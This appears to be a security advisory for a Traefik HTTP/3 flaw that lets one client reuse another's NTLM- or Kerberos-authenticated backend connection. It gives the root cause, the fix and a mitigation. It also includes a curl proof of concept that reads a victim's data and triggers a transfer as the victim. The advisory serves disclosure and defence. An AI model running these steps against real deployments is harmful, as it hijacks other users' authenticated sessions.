criticalCVE-2026-88007Sep 10, 2026

CVE-2026-88007: Traefik HTTP/3 NTLM Backend Connection Reuse

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Traefik's HTTP/3 entrypoint fails to isolate per-client backend connections for NTLM or Kerberos authentication, letting an unauthenticated attacker inherit a victim's already-authenticated backend…

Packagegithub.com/traefik/traefik/v3
Ecosystemgo
Affected>= 3.0.0, < 3.7.13
Fixed in3.7.13
CVE-2026-88007: Traefik HTTP/3 NTLM Backend Connection Reuse

The problem

Traefik's TCP entrypoint (HTTP/1.1 and HTTP/2) calls service.AddTransportOnContext inside its ConnContext hook, which installs a per-frontend-connection holder that kerberosRoundTripper uses to pin each client to its own backend TCP connection.

The HTTP/3 entrypoint reuses the same HTTPS handler chain and the same backend round-tripper, but its ConnContext only sets the TLS options name and never calls service.AddTransportOnContext. Without the holder, kerberosRoundTripper falls back to the shared OriginalRoundTripper.

Any HTTP/3 client can then be dispatched onto a backend TCP connection that a victim already authenticated via NTLM or Negotiate, inheriting that identity with no credentials of its own.

Proof of concept

A working proof-of-concept for CVE-2026-88007 in github.com/traefik/traefik/v3, with the exact payload below.

bash
# Step 1: victim authenticates over HTTP/3, pinning a backend TCP connection
curl --http3-only -k -u victim:secret https://traefik.example.com/resource
# Backend responds 200 with victim's session on connection C1

# Step 2: attacker sends a bare HTTP/3 request with NO Authorization header
# on a separate QUIC connection; Traefik routes it through the shared
# OriginalRoundTripper and the OS or QUIC stack may assign backend conn C1
curl --http3-only -k https://traefik.example.com/resource
# Returns: resource=secret actor=victim  (victim-only data, no creds sent)

# Step 3: attacker performs a state-changing request as the victim
curl --http3-only -k "https://traefik.example.com/transfer?to=attacker&amount=5000"
# Executes: action=transfer actor=victim to=attacker amount=5000

The root cause is a protocol-parity gap in pkg/server/server_entrypoint_tcp_http3.go. The HTTP/3 ConnContext lambda never calls service.AddTransportOnContext(ctx), so the transportKey value is absent from every HTTP/3 request context.

When kerberosRoundTripper.RoundTrip checks for that key and finds nothing, it falls back to k.OriginalRoundTripper, a shared transport with no per-client connection pooling. Once a backend connection is authenticated for one QUIC client, the shared pool can hand it to any other QUIC client.

The fix (PR #13812, commit ff39c47) adds ctx = service.AddTransportOnContext(ctx) to the HTTP/3 ConnContext, matching what the TCP entrypoint has done since NTLM support was introduced. This maps to CWE-287 (Improper Authentication) and CWE-863 (Incorrect Authorization).

The fix

Upgrade to Traefik v3.7.13 (v3 branch) or v2.11.57 (v2 branch). Both releases include PR #13812, which adds the missing service.AddTransportOnContext call to the HTTP/3 ConnContext. If you cannot upgrade immediately, disable HTTP/3 on affected entrypoints (http3: {} removed from the entrypoint config) as a temporary mitigation.

Deployments that do not proxy to backends using NTLM or Negotiate authentication are not affected.

Reported by OneZ3r0.

References: [1][2][3][4][5][6]

Related research